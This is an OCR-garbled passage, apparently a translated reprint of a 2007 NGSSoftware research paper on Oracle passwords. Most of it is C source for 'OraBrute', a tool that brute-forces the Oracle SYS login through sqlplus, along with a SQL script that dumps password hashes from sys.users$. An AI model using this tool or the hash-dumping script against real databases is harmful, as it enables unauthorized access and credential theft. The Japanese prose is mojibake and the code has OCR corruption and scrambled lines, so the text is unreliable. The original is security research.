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etc
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alter user sys identified by password;

spool off
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OraBrute D L #) /5% orabrute <hostips <ports <sid> <millitimewaits

15 c:\>orabrute 10.1.1.166 1522 orcl 100
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AT —=RDIZ v 7IFHEHLTND,

Zo7ur T A, LFoSQLa— K& & rselectpassword.sql @i, Oracle” 7 A
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--selectpassword.sql:

spool thepasswordsare.txt

select name, password from sys.users$;
--alter user sys identified by password;

spool off
exit

IFoca— R%, c:¥>cl orabrute.cpp & LTIy A LT5Z &
#include "stdio.h"

#include "windows.h"

#include "strsafe.h"

char host[17];
char port[6];
char sid[31];
char password[31];

-8-
©2007 Next Generation Security Software Ltd An NGSSoftware Insight Security Research Publication


http://www.ngssoftware.com/research/papers/oraclepasswords.pdf

char millitimewait[6];
DWORD dwdmillitimewait;
char executecmd[4095];

int escape (char*dest, char*src)
int idest = 0, isrc = 0 ;

while (src[isrc])

{

if (srclisrc] == '"\"'")
dest [idest] = '\\';
idest ++;
1
dest [idest] = srclisrc];
isrc ++;
idest ++;

dest [idest] =0;
return 1;

1
int main(int argc, char * argvl[])

SecureZeroMemory (host, sizeof( host ));
SecureZeroMemory (port, sizeof( port ));
SecureZeroMemory (sid, sizeof ( sid ));

SecureZeroMemory (password, sizeof ( password ));
SecureZeroMemory (millitimewait, sizeof( millitimewait ));

FILE *pfile;
UINT result;

printf ("Orabrute v 1.2 by Paul M. Wright, David J. Morgan and Chris Anley:\n orabrute

<hostip> <ports> <sid> <millitimewaits>");

if (argc!=5)

printf ("not enough arguments; command should be orabrute <hostip> <ports> <sids>

<millitimewaits>") ;
return 0;

strncpy (host,argv([1l],sizeof ( host )-1);
strncpy (port,argv([2] ,sizeof ( port )-1);
strncpy (sid,argv[3],sizeof ( sid )-1);
strncpy (millitimewait,argv([4],sizeof ( millitimewait )-1);

pfile=fopen ("password.txt", "rb") ;
if (pfile!=NULL)
{

char buffer[4096];
int numberofchars;

dwdmillitimewait = atoi(millitimewait) ;
do
{
numberofchars = 0;
while( !feof (pfile) && ( numberofchars < sizeof( buffer ) - 1 ) )

{

buffer [numberofchars]=fgetc (pfile) ;

if (buffer [numberofchars]=='\n' || buffer [numberofchars]==-1)
break;

if (buffer [numberofchars] !="'\r')
numberofchars++;

if (numberofchars<30)

buffer [numberofchars] =0;
else

buffer([30]=0;

if (strlen(buffer) >0)

char tmpbuffer[256];
char tmphost [256] ;
char tmpport [256];
char tmpsid[256];

escape
escape
escape
escape

tmpbuffer, buffer);
tmphost, host) ;
tmpport, port) ;
tmpsid, sid);
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StringCchPrintf (executecmd, sizeof ( executecmd )
-S -L \"SYS/%s@%s:%s/%s\" as sysdba @selectpassword.sql",

tmpsid) ;

1,"sglplus.exe

tmpbuffer, tmphost, tmpport,

printf ("%$s\n", executecmd) ;

result

WinExec (executecmd, SW_SHOWNORMAL) ;

Sleep (dwdmillitimewait) ;
FILE *poutputfile;

poutputfile=fopen ("thepasswordsare.txt",
(poutputfile

if

nrn>;
!= NULL)

char buffer[4096];

size_ t count ;

count =fread(buffer,1,sizeof( buffer )
fclose (poutputfile) ;

buffer[count]=0;

printf ("$s\n",buffer) ;

printf ("You will need to delete or move

- 1,poutputfile);

thepasswordsare.txt file before running again.");

}
}

}while (! feof (pfile)) ;
fclose (pfile) ;

}

return 0;

// EOF
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